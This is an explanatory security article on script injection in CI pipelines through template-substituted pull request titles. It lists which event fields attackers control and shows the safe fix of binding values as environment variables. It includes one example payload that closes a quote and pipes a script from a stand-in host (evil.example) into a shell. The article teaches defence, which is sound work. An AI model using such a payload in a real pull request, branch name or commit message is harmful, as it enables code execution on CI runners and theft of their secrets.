A CI job's shell step embeds the pull request title into a command using the CI engine's template syntax. Why does that hand a contributor code execution on the runner, and how do you write the step safely?

## Why this is different from ordinary injection The general bug class is familiar: untrusted data reaches an interpreter in a position where the interpreter reads it as instructions. What makes the CI variant worth its own discussion is *where* the interpreter boundary sits, because it is not where people assume. A pipeline step is not a program that receives arguments. It is a template. The CI engine reads the pipeline definition, performs textual substitution of every expression it finds, writes the result to a temporary script file, and then executes that file with a shell. There are therefore two evaluators in sequence, and the untrusted value crosses into the *first* one. By the time the shell starts, the attacker's text is indistinguishable from the text the author wrote. ```bash # what the author wrote, conceptually: # echo "building: <TITLE SUBSTITUTED HERE>" # with a title of: "; curl https://evil.example/x.sh | sh; # # the shell actually receives: echo "building: "; curl https://evil.example/x.sh | sh; #" ``` This explains the single most common wrong answer: "we put quotes around it". The quotes live in the template, and the substituted text can contain a quote character that closes them. It also explains why escaping is fragile — you would have to model the shell's quoting rules, command substitution, backticks and newlines correctly, forever. ## Which values are attacker-controlled The honest list is longer than teams expect, because it includes everything the triggering event carries rather than everything a user typed into a form: - pull request or merge request **title** and **body** — chosen freely by anyone who can open one - **branch name** and **tag name** — an attacker names their branch whatever they like - **commit message**, commit **author** and committer name — set locally with no validation - **issue and review comment bodies** on comment-triggered pipelines - **labels** and other metadata anyone with triage rights can set Note what these have in common: none of them require the ability to merge, and most do not even require repository write access. Opening a pull request from a fork is enough. ## What the attacker actually gains The injected command runs as the job: same working directory, same environment, same network position. In practice that means reading any secret exported into the job's environment, using the checkout credential to push or to read other repositories, tampering with the artifact that this build is about to publish, and — where runners are reused between jobs — leaving something behind for the next build. It is not "someone printed a rude string in the log"; it is arbitrary code inside the credential-holding environment. ## The fix: bind, do not substitute The safe pattern is to move the value from the *program text* to the *program's data*: ```bash # the value arrives as an environment variable set by the CI engine, # so the shell parses this line once, with $PR_TITLE as inert data echo "building: $PR_TITLE" ``` The engine sets the variable's value directly rather than pasting it into the script, so nothing the attacker writes is ever parsed as syntax. Two details matter: quote the expansion, so word splitting and globbing cannot bite; and remember that the variable is still untrusted data — piping it into `eval`, into another template, or into a command that itself interprets its argument re-opens the hole one layer down. When a value genuinely must be inline — a name used to build a path, for instance — validate it against a strict allowlist pattern first and fail the job when it does not match. Rejecting is safe; sanitising is a slow-motion escape-rules project. ## Defence in depth around it Binding fixes the specific step. Two structural controls limit what a missed instance can do. First, do not run steps that touch untrusted event metadata under a trigger that carries write credentials — the build that inspects an outside contribution should hold nothing worth stealing. Second, keep the job token read-only by default so that even successful injection cannot push, publish or deploy. Auditing for this class is tractable: search the pipeline definitions for template expressions that appear inside shell steps, and check each one's source. ## Version and portability note Every major CI system has this shape — a templating pass over the pipeline file followed by shell execution — so the reasoning transfers even though the expression syntax differs per product. What differs is only which event fields are exposed and under which trigger names.